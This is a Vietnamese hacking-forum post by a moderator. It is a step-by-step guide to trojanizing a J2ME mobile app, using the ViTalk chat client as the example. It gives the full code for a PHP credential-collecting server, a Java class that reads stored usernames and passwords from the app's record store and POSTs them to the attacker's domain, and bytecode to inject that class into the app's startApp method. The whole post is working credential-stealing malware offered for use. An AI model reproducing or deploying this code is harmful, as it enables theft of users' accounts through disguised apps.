• Downloading from our site will require you to have a paid membership. Upgrade to a Premium Membership from 10$ a month today!

    Dont forget read our Rules! Also anyone caught Sharing this content will be banned. By using this site you are agreeing to our rules so read them. Saying I did not know is simply not an excuse! You have been warned.

Special_One

New Member
Moderator
Đầu tiên là tạo 1 server gồm 3 file.
Tất nhiên là phải reg host vào qlí tập tin.
Tạo 1 lập tin là post.html chèn đoạn html này vào
Mã: Chọn tất cả
HTML:
<form method="post" action="save.php" accept-charset="utf-8" >
Tai Khoan: <br> <input name="taikhoan" size="68" /> <br>
Mat Khau: <br> <input type=password name="matkhau" size="68" /> <br>
<input type="submit" name="subm" value="Them" /> </form>

tiếp theo tạo tập tin save.php
Mã: Chọn tất cả
HTML:
<?php
$fp=fopen("login.txt",a)or exit("khong tim thay file can mo");
$nick=$_POST['taikhoan'];
$pass=$_POST['matkhau'];
fwrite($fp,"TK:".$nick."/MK:".$pass."/");
fclose($fp);
echo "hacked!";
?>

cuối cùng tạo file có tên login.txt vậy là có 1 server chuối2 đủ xài
cuối cùng là dùng J2me SDK MB để tạo 1 file class cho vào game, soft.
Lấy ví dụ trên phần mềm chat ViTalk.
viết class tên là x0 (vd thế).
Mã: Chọn tất cả
HTML:
import javax.microedition.io.*;
import java.io.*;
import javax.microedition.rms.*;
public class x0 implements Runnable{
ViTalk main;
public x0(ViTalk main){
this.main=main;
}
public void start(){
new Thread(this).start();
}
public void run(){
try{
HttpConnection hc=(HttpConnection)Connector.open("http://domain của b/save.php");
DataOutputStream dos=hc.openDataOutputStream();
hc.setRequestMethod(HttpConnection.POST);
hc.setRequestProperty("Content-Type","application/x-www-form-urlencode");
String[] list=RecordStore.listRecordStores();
RecordStore rd=RecordStore.openRecordStore(list[1],false);
int id=rd.getNextRecordID();
for(int i=1;i<id;i++){
byte[] tk=new byte[rd.getRecordSize(i)];
rd.getRecord(i,tk,0);
String nick=new String(tk,0,tk.length);
dos.write("taikhoan=".getBytes());
dos.write(urlEncode(nick).getBytes("UTF-8"));
}
RecordStore rd2=RecordStores.openRecordStore(list[2],false);
int id2=rd2.getNextRecordID();
for(int j=1;j<id2;j++){
byte[] mk=new byte[rd2.getRecordSize(j)];
rd2.getRecord(j,mk,0);
String pass=new String(mk,0,mk.length);
dos.write("&matkhau=".getBytes());
dos.write(urlEncode(pass).getBytes("UTF-8"));
}
dos.write("&subm=Them".getBytes());
dos.flush();
dos.close();
hc.close();
}catch(Exception e){}
}
public String urlEncode(String input){
StringBuffer sb=new StringBuffer();
char c;
for(int i=0;i<input.length();i++){
c=input.charAt(i);
sb.append(c);
}
return sb.toString();
}
}

preverify quẳng vào game. Mở file ViTalk.class bằng ByteCode Editor=> method startApp
thêm đoạn này vào
Mã: Chọn tất cả
HTML:
new x0 
dup
aload_0
invokespecial x0/<init>(LViTalk;)V
invokevirtual x0/start()V

xog!
 

Facebook Comments

Similar threads

New posts New threads New resources

Back
Top